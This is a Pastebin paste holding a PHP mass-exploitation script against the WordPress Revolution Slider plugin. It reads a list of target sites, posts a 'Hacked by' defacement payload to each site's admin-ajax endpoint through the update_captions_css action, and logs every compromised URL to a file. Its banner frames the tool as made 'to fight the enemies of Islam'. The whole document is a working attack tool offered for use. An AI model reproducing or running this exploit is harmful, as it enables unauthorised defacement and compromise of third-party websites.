Advertisement
Guest User

revslider#list By Dr.web

a guest
Mar 22nd, 2015
3,227
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.80 KB | None | 0 0
  1. <?php
  2.     echo "\n+-------------------------------------------+\n";
  3.     echo "|          Cod3r By Dr.web                     |\n";
  4.     echo "| This tool made-to fight the enemies of Islam |\n";
  5.     echo "+-------------------------------------------+\n";
  6.  
  7. $gv=@file_get_contents($argv[1]);
  8.     $exv=explode("\r\n",$gv);
  9.     echo "\n\t Total site loaded : ".count($exv)."\n\n";
  10.     foreach($exv as $url){
  11.       echo "\n[+]Scaning : $url \n";
  12.       dr($url);
  13.     }
  14.   function dr($site){
  15.     $ch = curl_init();
  16.     curl_setopt($ch, CURLOPT_URL, "http://".$site."/wp-admin/admin-ajax.php");
  17.     curl_setopt($ch, CURLOPT_USERAGENT, $agent);
  18.     curl_setopt($ch, CURLOPT_POST, 1);
  19.     curl_setopt($ch, CURLOPT_POSTFIELDS, array("action" => "revslider_ajax_action", "client_action" => "update_captions_css", "data" => "<body style='color: transparent;background-color: black'><center><h1><b style='color: white'>Hacked by $name<p style='color: transparent'>"));
  20.     curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  21.     curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  22.     curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file_path);
  23.     curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_file_path);
  24.     curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  25.     curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  26.     $result = curl_exec($ch);
  27.         if (eregi('true', $result)) {
  28.         echo "| wait ......\n";
  29.         echo "| Success Exploit\n";
  30.         echo "| Link Index: http://".$site . "/wp-admin/admin-ajax.php?action=revslider_ajax_action&client_action=get_captions_css";
  31.         $fo = fopen("finish.txt","a+");
  32.         $r = fwrite($fo,"http://".$site."/wp-admin/admin-ajax.php?action=revslider_ajax_action&client_action=get_captions_css\r\n");
  33.         fclose($fo);
  34.     } else {
  35.         echo "| http://".$site . " : Not Revslider \n\n";
  36.     }
  37.     curl_close($ch);
  38.     }
  39. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement